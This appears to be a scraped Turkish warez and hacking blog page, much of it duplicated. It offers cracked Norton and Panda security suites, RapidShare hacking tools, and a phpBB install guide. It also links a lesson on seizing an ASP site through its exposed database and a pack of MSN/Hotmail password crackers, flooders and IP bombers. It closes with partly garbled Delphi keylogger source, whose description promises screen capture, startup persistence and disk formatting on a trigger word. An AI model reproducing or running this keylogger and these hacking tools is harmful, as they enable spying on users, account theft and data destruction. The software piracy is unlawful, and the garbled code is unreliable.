Yazılar
Norton Internet Security 2009 16.1.0.33+trial rest
Norton Internet Security 2009 16.1.0.33

ben denemedim denemek isteyen indirsin
Company Symantec announced Norton Internet Security 2009 and Norton AntiVirus 2009 which include more than 300 improvements and differ the raised productivity and in the speed of work at the minimum consumption of system resources. One of key features of antiviruses of ruler Norton 2009 is the technology «Norton Insight», allowing to scan about harmful ON only changed files, the others are automatically marked as "safe". Thanks to system Pulse Updates updating of anti-virus bases is carried out each 5-15 minutes that allows to support high level of safety of computer system.
According to results of independent tests, installation Norton Internet Security 2009 occupies only 52 seconds, the antivirus spends for fast check of the computer no more than 33 seconds and thus consumes all 7Mb memories. At the same time, the testing of anti-virus products spent AV-Test, has shown, that Norton Internet Security 2009 beta has found out 98 % harmful ON, 95 % of espionage programs and has not made any false operation, having shown, thus, the best result.
Products Norton 2009 are equipped by optimised system Norton Protection System which protects the personal computer from modern web threats, includes technology of prevention of intrusions, and also technology SONAR (Symantec Online Network for Advanced Response) for recognition and blocking of unknown threats in real time. Besides, antiviruses Norton 2009 also are capable to work in a mode «Silent mode», not showing the notice, curing the infected objects independently and being updated thus automatically. During system inactivity for scanning, updating of bases and other operations of an antivirus "scheduler" (scheduler) answers.
Has undergone changes and the user interface of products. To pass to any of key options of an antivirus it is possible by means of one clique of the mouse. Access to configuration options is simplified. At the same time, users had an opportunity to trace level of loading of the central processor at any moment.
Size : 64.1 MB
Links/Downloads/Codes:
Download Norton.Internet.Security.2009.16.1.0.33.rar, upload your files and earn money.
Or
letitbit net - this is totally free file hosting. The speed and size of files is no limited.
Trial Reset (forever testing with updates)
Program + Instruction
RapidShare: Easy Filehosting
ben denemedim denemek isteyen indirsin
Company Symantec announced Norton Internet Security 2009 and Norton AntiVirus 2009 which include more than 300 improvements and differ the raised productivity and in the speed of work at the minimum consumption of system resources. One of key features of antiviruses of ruler Norton 2009 is the technology «Norton Insight», allowing to scan about harmful ON only changed files, the others are automatically marked as "safe". Thanks to system Pulse Updates updating of anti-virus bases is carried out each 5-15 minutes that allows to support high level of safety of computer system.
According to results of independent tests, installation Norton Internet Security 2009 occupies only 52 seconds, the antivirus spends for fast check of the computer no more than 33 seconds and thus consumes all 7Mb memories. At the same time, the testing of anti-virus products spent AV-Test, has shown, that Norton Internet Security 2009 beta has found out 98 % harmful ON, 95 % of espionage programs and has not made any false operation, having shown, thus, the best result.
Products Norton 2009 are equipped by optimised system Norton Protection System which protects the personal computer from modern web threats, includes technology of prevention of intrusions, and also technology SONAR (Symantec Online Network for Advanced Response) for recognition and blocking of unknown threats in real time. Besides, antiviruses Norton 2009 also are capable to work in a mode «Silent mode», not showing the notice, curing the infected objects independently and being updated thus automatically. During system inactivity for scanning, updating of bases and other operations of an antivirus "scheduler" (scheduler) answers.
Has undergone changes and the user interface of products. To pass to any of key options of an antivirus it is possible by means of one clique of the mouse. Access to configuration options is simplified. At the same time, users had an opportunity to trace level of loading of the central processor at any moment.
Size : 64.1 MB
Links/Downloads/Codes:
Download Norton.Internet.Security.2009.16.1.0.33.rar, upload your files and earn money.
Or
letitbit net - this is totally free file hosting. The speed and size of files is no limited.
Trial Reset (forever testing with updates)
Program + Instruction
RapidShare: Easy Filehosting
Rapidshare all 10 Programs in 1

Rapidshare all 10 Programs in 1 | 43 Mb
Contains many useful tools to manage rapidshare accounts and to hack rapidshare
Contains:
1. Rapid Uploader v1.2
2. RapidMagic v2.7
3. Rapid Up v1.34
4. Rapid Hacker Final Build 2.0
5. Rapidown v5.9 SE
6. RapidShare Link Checker
7. Rapidshare Get Points v2.33
8. USDownloader SK v2.8
9. Rapid Folder Link Grabber v3
10. Microsoft .Net Framework
1. Rapid Uploader v1.2Simple uploader for Rapidshare for both collector's and premium account.Lots of Settings are available
2. RapidMagic v2.7
What is Rapidmagic 2.7 ?
It is a program that allows you to enter rapidshare links and get premium downloads for free, no wait.
3. Rapid Up v1.34
Upload to multiple File Servers. You can set premium/point collector accounts. Unlike Rapidshares Uploader, this tool can upload more then one file at a time (set this in hoster options). Keeps det**ls untill you delete them, so you don't loose your download/kill links.
4. Rapid Hacker Final Build 2.0
Platforms: Windows 98, ME, Windows 2000, Windows XP, home/pro, Windows Vista
5. Rapidown v5.9 SE
Rapidown is a download accelerator that provides a faster download experience.
6. RapidShare Link Checker
this is rapidshare link checker to check whether the link is dead or not...
just copy the URL into the "LINK.txt"
7. Rapidshare Get Points v2.33
What is RS-GetPoints? Its a little software codec in AutoIt which allow you to display your RapidShare Premium or Collectors account Info on a tiny window.
Changelog: 2.3.3 [Bug Fixed]
- Added a button in the AutoUpdate window, thanks to use it!
8. USDownloader SK v2.8
- USDownloader:
- The Actual Downloader, this program supports automated downloading from over 50 share
sites such as: RapidShare.com | RapidShare.de | MegaUpload.com | Megarotic.com | FileHo.com
and many many more !!!
9. Rapid Folder Link Grabber v3
Want to download all the links from within a rapidshare folder????then here is your application
This software lets you download all the links inside a rapidshare folder with one click
10. Microsoft .Net Framework
The Microsoft .NET Framework version 2.0 (x86) redistributable package installs the .NET Framework runtime and associated files required to run applications developed to target the .NET Framework v2.0.
FTP Programları
FileZilla
Açıklama:Kullanımı basit en çok kullanılan ftp programların başında
geliyor yeni başlayan kişiler bile bu programı rahatlıkla kullanabilir.
FlashFXP
Açıklama:Hız konusunda digerlerine göre biraz daha hızlı olan bu
program gelişmiş özelliklerede sahip programın - yanı ücretsiz olmaması
CuteFTP
Açıklama: Dünyanın en popüler File Transfer Protocol (FTP) programı.
Site yöneticilerinin vazgeçemediği CuteFTP ile web sunucunuza dosya
transferi yapabiliyorsunuz.tam sürümü 39$
SmartFTP
Açıklama
martFTP, dosyalarınızı sunucunuza göndermek için
kullanabileceğiniz File Transfer Protocol (FTP) yazılımıdır. Dosya
transferi için kullanabileceğiniz SmartFTP, kategorisindeki en iyi
programlardan birisi ve tamamen TÜRKÇE
AceFTP
Pro Açıklama:AceFTP Pro'nun en son sürümü. Site yöneticilerinin
kullanabileceği, kullanışlı ve yüksek performans sergileyen bir File
Transfer Protocol (FTP) yazılımı. Dünyanın en iyi FTP yazılımları
arasında yer alan bu yazılımı mutlaka denemelisiniz. Site
yöneticilerinin, sunucusuna dosya transferi için kullanılabileceği
AceFTP Pro, görselliği ile sizi hayran bırakacak.
phpbb 2 kurulumu capslı anlatım
PhpBB 3 piyasada mevcut ama hala 2 kullananlar çoğunlukta kurulum farkı da olmadığı için 2 üzerinden anlatıorum..
1.PhbBB hazır forum klasörünü,cute ftp,FlashFXP...vb tarzı programlar aracılığı ile Hosting aldığımız adrese upload edioruz...
1.adım:Upload bitince,web tarayıcınızın adres satırına (örn:http://siteadresi.com/install)yazıp enter a basıoruz..

2.Adım:

3.Adım:

Kurulum bitince yönetim panelinden forumunuzu istediğiniz gibi düzenleyebilirsiniz....
PHPBB indirmek isteyenler burdan...
http://www.phpbb.com/downloads.php
1.PhbBB hazır forum klasörünü,cute ftp,FlashFXP...vb tarzı programlar aracılığı ile Hosting aldığımız adrese upload edioruz...
1.adım:Upload bitince,web tarayıcınızın adres satırına (örn:http://siteadresi.com/install)yazıp enter a basıoruz..

2.Adım:

3.Adım:

Kurulum bitince yönetim panelinden forumunuzu istediğiniz gibi düzenleyebilirsiniz....
PHPBB indirmek isteyenler burdan...
http://www.phpbb.com/downloads.php
Panda Internet Security 2008 12.00.00 + Serial+açılama
Panda Internet Security 2008 12.00.00 + Serial
Sana ait gizli bilgileri korur. İnterneten gelecek tehlikelere karşı uyarır. İnternet sitelerinde çıkan bannerleri kapatır, seni zor durumda bırakmaz ve spywarelere karşı tam bir ilaçtır.
Kapsadıkları:
- Antivirus
- AntiSpyware
- AntiPhishing
- Firewall
- Identity Protect
- Backup
- TruPrevent®
- AntiSpam
- Parental Control
- TotalScan Pro
Panda Internet Security 2008, XP ve Vista'ya uyumludur. Vista konusunda kesinlikle sıkıntınız olmasın. Serial mevcuttur.
Boyut: 52,6 MB


Sana ait gizli bilgileri korur. İnterneten gelecek tehlikelere karşı uyarır. İnternet sitelerinde çıkan bannerleri kapatır, seni zor durumda bırakmaz ve spywarelere karşı tam bir ilaçtır.
Kapsadıkları:
- Antivirus
- AntiSpyware
- AntiPhishing
- Firewall
- Identity Protect
- Backup
- TruPrevent®
- AntiSpam
- Parental Control
- TotalScan Pro
Panda Internet Security 2008, XP ve Vista'ya uyumludur. Vista konusunda kesinlikle sıkıntınız olmasın. Serial mevcuttur.
Boyut: 52,6 MB

%100'de %100 site hacklemek(videolu)
S.a burada asp sitemdeki db yi kendi bilgisayarıma indirerek,
admin olarak siteyi yönetmemizi sağlıyan, bir açığı kullanarak, nasıl siteyi ele geçiririz..
İşte link, içerisinde, yazdığım(ders boyunca) döküman, video ve mdb okuyucu ve md5 çevirmek için bir adet linkle beraber uyarılan sitenin linki,
Rar pass=" casus19"(" işareti yok)
http://rapidshare.com/files/14155350...9-THT.rar.html
T amamen, kendim hazırladım, Rep vermeyi unutmayın lütfen... Biraz emeğe Saygı gösterin.
//Selametle//
Not
ayın modlar, bu dersin sabitlenmesi çok iyi olur düşüncesindeyim zira, hacki çok kolay bir şekilde anlattım
admin olarak siteyi yönetmemizi sağlıyan, bir açığı kullanarak, nasıl siteyi ele geçiririz..
İşte link, içerisinde, yazdığım(ders boyunca) döküman, video ve mdb okuyucu ve md5 çevirmek için bir adet linkle beraber uyarılan sitenin linki,
Rar pass=" casus19"(" işareti yok)
http://rapidshare.com/files/14155350...9-THT.rar.html
T amamen, kendim hazırladım, Rep vermeyi unutmayın lütfen... Biraz emeğe Saygı gösterin.
//Selametle//
Not
Msn Şifre Çözücü,Kırıcı,Dondurucu,Flood vs::. işinize yarayabilecekler
not: arkadaşlar dosya virüslü deildir sadece virüs programları bu tür programları virüs olarak algılıyo
http://rapidshare.com/files/18892096...r_eyy.rar.html
MessenPass 1.03_Tr
2 Den Fazla Msn Oturum açma
Avatar Çalıcı
Avatar_YAPICI
FakeMsn7.2 Yeni
Hotmail Şifre Kırıcı V2.0
hotmaili 2gb a cıkarma
HttpBomber
ıcq 6 rakamlı almak
ICQ hack
ip öğrenme x-netstats5
İp Yer Tespit Etme
Kısayol Hotmail Alma
mail hacklemenin 6 yolu
MessengersPasswordRecovery
MSN Color Changer
Msn Dondurucu hotfreeze
MSN Flooder
Msn Güvenliği
Msn İp Alma
Msn oturum - Bomber
MSN Password Finder
Msn ve Hotmail yahoo de İp Öğrenme
Msn_Dondurucu
nitrocam Gizli Görüntü Alma
online çık ol ol mcm
Sekil_Nick_Hazirlama
wingenocideipbomber-1 ipe saldırı ---->>>Bu programı iyi bir antivirüsünüz yoksa kurmanızı tavsiye etmem
Msn Titreşim Bombardımanı
Yeni Hacker olmak isteyenler Güzel Döküman Tavsiye edilir
http://rapidshare.com/files/18892096...r_eyy.rar.html
MessenPass 1.03_Tr
2 Den Fazla Msn Oturum açma
Avatar Çalıcı
Avatar_YAPICI
FakeMsn7.2 Yeni
Hotmail Şifre Kırıcı V2.0
hotmaili 2gb a cıkarma
HttpBomber
ıcq 6 rakamlı almak
ICQ hack
ip öğrenme x-netstats5
İp Yer Tespit Etme
Kısayol Hotmail Alma
mail hacklemenin 6 yolu
MessengersPasswordRecovery
MSN Color Changer
Msn Dondurucu hotfreeze
MSN Flooder
Msn Güvenliği
Msn İp Alma
Msn oturum - Bomber
MSN Password Finder
Msn ve Hotmail yahoo de İp Öğrenme
Msn_Dondurucu
nitrocam Gizli Görüntü Alma
online çık ol ol mcm
Sekil_Nick_Hazirlama
wingenocideipbomber-1 ipe saldırı ---->>>Bu programı iyi bir antivirüsünüz yoksa kurmanızı tavsiye etmem
Msn Titreşim Bombardımanı
Yeni Hacker olmak isteyenler Güzel Döküman Tavsiye edilir
İşte müthiş kodlar buyrun...
asagıdaki kodlarla yapabilecekleriniz.
ekran yakalama*key logger*kapatma*reset*başlangıca yazma*pc adı bulunmasi* ekrana transparan yazi*belli bir kelimeye duyarlılık ne yapacaksanız artık*mesela orhan kelimesini kullandığında format yesin gibi...şeklinde kullanabilirsiniz.burda deneme amaçlı.orhan tusladiğinda ardından istenen bir kelime oraya hızla tus olarak gönderiliyo.siz ne yaparsanız artık..BUNDAN SONRASI SİZE KALMIS buyrun kolay gelsin
KODLAR
***********************
unit tusalgila;
interface
uses SysUtils* Windows*FORMS*SHELLAPI*UNIT1*Registry;
procedure GetLetter;
function Shift:Boolean;
function MoreChars(CharNumber:Integer;TruePart*FalsePart
t ring;var Answer
tring):Boolean;
implementation
procedure GetLetter;
var
j:Integer;
a
tring;
begin
if Odd(GetAsyncKeyState(219)) then ShowLetter(’Ğ’);
if Odd(GetAsyncKeyState(221)) then ShowLetter(’Ü’);
if Odd(GetAsyncKeyState(186)) then ShowLetter(’Ş’);
if Odd(GetAsyncKeyState(222)) then ShowLetter(’İ’);
if Odd(GetAsyncKeyState(191)) then ShowLetter(’Ö’);
if Odd(GetAsyncKeyState(220)) then ShowLetter(’Ç’);
// ’A’..’Z’ arasındaki tuşlara basılmışmı?
for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(Chr(j));
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(IntToStr((j - 97) + 1));
//F1 İLE F24 ARASINDAKİ TUŞLARA BASILMIŞMI
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(’{F’ + IntToStr(j - 112 + 1) + ’}’);
//SAYILARDAN BİRİNE BASILMIŞMI?
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if Shift then
begin
case j - 48 of
1: ShowLetter(’!’);
2: ShowLetter( @ );
3: ShowLetter(’#’);
4: ShowLetter(’$’);
5: ShowLetter(’%’);
6: ShowLetter(’^’);
7: ShowLetter(’&’);
8: ShowLetter(’*’);
9: ShowLetter(’(’);
0: ShowLetter(’)’);
end;
end
else
ShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then ShowLetter(’<Back>’);
if Odd(GetAsyncKeyState(VK_TAB)) then ShowLetter(’<Tab>’);
if Odd(GetAsyncKeyState(VK_RETURN)) then ShowLetter(#13#10);
if Odd(GetAsyncKeyState(VK_SHIFT)) then ShowLetter(’<Shift>’);
if Odd(GetAsyncKeyState(VK_CONTROL)) then ShowLetter(’<CTRL>’);
if Odd(GetAsyncKeyState(VK_MENU)) then ShowLetter(’<Alt>’);
if Odd(GetAsyncKeyState(VK_PAUSE)) then ShowLetter(’<Pause>’);
if Odd(GetAsyncKeyState(VK_ESCAPE)) then ShowLetter(’<ESC>’);
if Odd(GetAsyncKeyState(VK_SPACE)) then ShowLetter(’ ’);
if Odd(GetAsyncKeyState(VK_END)) then ShowLetter(’<End>’);
if Odd(GetAsyncKeyState(VK_HOME)) then ShowLetter(’<Home>’);
if Odd(GetAsyncKeyState(VK_LEFT)) then ShowLetter(’<sol>’);
if Odd(GetAsyncKeyState(VK_RIGHT)) then ShowLetter(’<sağ>’);
if Odd(GetAsyncKeyState(VK_UP)) then ShowLetter(’<Yukarı>’);
if Odd(GetAsyncKeyState(VK_DOWN)) then ShowLetter(’<Aşağı>’);
if Odd(GetAsyncKeyState(VK_INSERT)) then ShowLetter(’<Insert>’);
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then ShowLetter(’*’);
if Odd(GetAsyncKeyState(VK_ADD)) then ShowLetter(’+’);
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then ShowLetter(’-’);
if Odd(GetAsyncKeyState(VK_DECIMAL)) then ShowLetter(’.’);
if Odd(GetAsyncKeyState(VK_DIVIDE)) then ShowLetter(’/’);
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then ShowLetter(’<NumLock>’);
if Odd(GetAsyncKeyState(VK_CAPITAL)) then begin
IF CAP=0 THEN CAP:=1 else CAP:=0;ShowLetter(’<CapsLock>’);end;
if Odd(GetAsyncKeyState(VK_SCROLL)) then ShowLetter(’<Scroll>’);
if Odd(GetAsyncKeyState(VK_DELETE)) then ShowLetter(’<Delete>’);
if Odd(GetAsyncKeyState(VK_PRIOR)) then ShowLetter(’<Page Up>’);
if Odd(GetAsyncKeyState(VK_NEXT)) then ShowLetter(’<Page Down>’);
if Odd(GetAsyncKeyState(VK_PRINT)) then ShowLetter(’<Print Screen>’);
if MoreChars($BA*’:’*’;’*a) then ShowLetter(a);
if MoreChars($BB*’+’*’=’*a) then ShowLetter(a);
if MoreChars($BC*’<’*’*’*a) then ShowLetter(a);
if MoreChars($BD*’_’*’-’*a) then ShowLetter(a);
if MoreChars($BE*’>’*’.’*a) then ShowLetter(a);
if MoreChars($BF*’?’*’/’*a) then ShowLetter(a);
if MoreChars($C0*’~’*’`’*a) then ShowLetter(a);
if MoreChars($DB*’{’*’[’*a) then ShowLetter(a);
if MoreChars($DC*’|’*’\’*a) then ShowLetter(a);
if MoreChars($DD*’}’*’]’*a) then ShowLetter(a);
if MoreChars($DE*’"’*’’’’*a) then ShowLetter(a);
end;
function MoreChars(CharNumber:Integer;TruePart*FalsePart
t ring;var Answer
tring):Boolean;
begin
MoreChars:=True;
if Odd(GetAsyncKeyState(CharNumber)) then
begin
if Shift then
Answer:=TruePart
else
Answer:=FalsePart;
Exit;
end;
MoreChars:=False;
end;
function Shift:Boolean;
begin
Shift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;
end.
unit Unit1;
interface
uses
Windows* Messages*SysUtils*Forms*ExtCtrls*Graphics*
Controls* StdCtrls* Classes*Inifiles*registry*SHELLAPI*JPEG;
type
TForm1 = class(TForm)
Timer1: TTimer;
MEMO1: TMemo;
Timer2: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
ekran yakalama*key logger*kapatma*reset*başlangıca yazma*pc adı bulunmasi* ekrana transparan yazi*belli bir kelimeye duyarlılık ne yapacaksanız artık*mesela orhan kelimesini kullandığında format yesin gibi...şeklinde kullanabilirsiniz.burda deneme amaçlı.orhan tusladiğinda ardından istenen bir kelime oraya hızla tus olarak gönderiliyo.siz ne yaparsanız artık..BUNDAN SONRASI SİZE KALMIS buyrun kolay gelsin
KODLAR
***********************
unit tusalgila;
interface
uses SysUtils* Windows*FORMS*SHELLAPI*UNIT1*Registry;
procedure GetLetter;
function Shift:Boolean;
function MoreChars(CharNumber:Integer;TruePart*FalsePart
implementation
procedure GetLetter;
var
j:Integer;
a
begin
if Odd(GetAsyncKeyState(219)) then ShowLetter(’Ğ’);
if Odd(GetAsyncKeyState(221)) then ShowLetter(’Ü’);
if Odd(GetAsyncKeyState(186)) then ShowLetter(’Ş’);
if Odd(GetAsyncKeyState(222)) then ShowLetter(’İ’);
if Odd(GetAsyncKeyState(191)) then ShowLetter(’Ö’);
if Odd(GetAsyncKeyState(220)) then ShowLetter(’Ç’);
// ’A’..’Z’ arasındaki tuşlara basılmışmı?
for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(Chr(j));
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(IntToStr((j - 97) + 1));
//F1 İLE F24 ARASINDAKİ TUŞLARA BASILMIŞMI
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(’{F’ + IntToStr(j - 112 + 1) + ’}’);
//SAYILARDAN BİRİNE BASILMIŞMI?
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if Shift then
begin
case j - 48 of
1: ShowLetter(’!’);
2: ShowLetter( @ );
3: ShowLetter(’#’);
4: ShowLetter(’$’);
5: ShowLetter(’%’);
6: ShowLetter(’^’);
7: ShowLetter(’&’);
8: ShowLetter(’*’);
9: ShowLetter(’(’);
0: ShowLetter(’)’);
end;
end
else
ShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then ShowLetter(’<Back>’);
if Odd(GetAsyncKeyState(VK_TAB)) then ShowLetter(’<Tab>’);
if Odd(GetAsyncKeyState(VK_RETURN)) then ShowLetter(#13#10);
if Odd(GetAsyncKeyState(VK_SHIFT)) then ShowLetter(’<Shift>’);
if Odd(GetAsyncKeyState(VK_CONTROL)) then ShowLetter(’<CTRL>’);
if Odd(GetAsyncKeyState(VK_MENU)) then ShowLetter(’<Alt>’);
if Odd(GetAsyncKeyState(VK_PAUSE)) then ShowLetter(’<Pause>’);
if Odd(GetAsyncKeyState(VK_ESCAPE)) then ShowLetter(’<ESC>’);
if Odd(GetAsyncKeyState(VK_SPACE)) then ShowLetter(’ ’);
if Odd(GetAsyncKeyState(VK_END)) then ShowLetter(’<End>’);
if Odd(GetAsyncKeyState(VK_HOME)) then ShowLetter(’<Home>’);
if Odd(GetAsyncKeyState(VK_LEFT)) then ShowLetter(’<sol>’);
if Odd(GetAsyncKeyState(VK_RIGHT)) then ShowLetter(’<sağ>’);
if Odd(GetAsyncKeyState(VK_UP)) then ShowLetter(’<Yukarı>’);
if Odd(GetAsyncKeyState(VK_DOWN)) then ShowLetter(’<Aşağı>’);
if Odd(GetAsyncKeyState(VK_INSERT)) then ShowLetter(’<Insert>’);
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then ShowLetter(’*’);
if Odd(GetAsyncKeyState(VK_ADD)) then ShowLetter(’+’);
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then ShowLetter(’-’);
if Odd(GetAsyncKeyState(VK_DECIMAL)) then ShowLetter(’.’);
if Odd(GetAsyncKeyState(VK_DIVIDE)) then ShowLetter(’/’);
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then ShowLetter(’<NumLock>’);
if Odd(GetAsyncKeyState(VK_CAPITAL)) then begin
IF CAP=0 THEN CAP:=1 else CAP:=0;ShowLetter(’<CapsLock>’);end;
if Odd(GetAsyncKeyState(VK_SCROLL)) then ShowLetter(’<Scroll>’);
if Odd(GetAsyncKeyState(VK_DELETE)) then ShowLetter(’<Delete>’);
if Odd(GetAsyncKeyState(VK_PRIOR)) then ShowLetter(’<Page Up>’);
if Odd(GetAsyncKeyState(VK_NEXT)) then ShowLetter(’<Page Down>’);
if Odd(GetAsyncKeyState(VK_PRINT)) then ShowLetter(’<Print Screen>’);
if MoreChars($BA*’:’*’;’*a) then ShowLetter(a);
if MoreChars($BB*’+’*’=’*a) then ShowLetter(a);
if MoreChars($BC*’<’*’*’*a) then ShowLetter(a);
if MoreChars($BD*’_’*’-’*a) then ShowLetter(a);
if MoreChars($BE*’>’*’.’*a) then ShowLetter(a);
if MoreChars($BF*’?’*’/’*a) then ShowLetter(a);
if MoreChars($C0*’~’*’`’*a) then ShowLetter(a);
if MoreChars($DB*’{’*’[’*a) then ShowLetter(a);
if MoreChars($DC*’|’*’\’*a) then ShowLetter(a);
if MoreChars($DD*’}’*’]’*a) then ShowLetter(a);
if MoreChars($DE*’"’*’’’’*a) then ShowLetter(a);
end;
function MoreChars(CharNumber:Integer;TruePart*FalsePart
begin
MoreChars:=True;
if Odd(GetAsyncKeyState(CharNumber)) then
begin
if Shift then
Answer:=TruePart
else
Answer:=FalsePart;
Exit;
end;
MoreChars:=False;
end;
function Shift:Boolean;
begin
Shift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;
end.
unit Unit1;
interface
uses
Windows* Messages*SysUtils*Forms*ExtCtrls*Graphics*
Controls* StdCtrls* Classes*Inifiles*registry*SHELLAPI*JPEG;
type
TForm1 = class(TForm)
Timer1: TTimer;
MEMO1: TMemo;
Timer2: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;


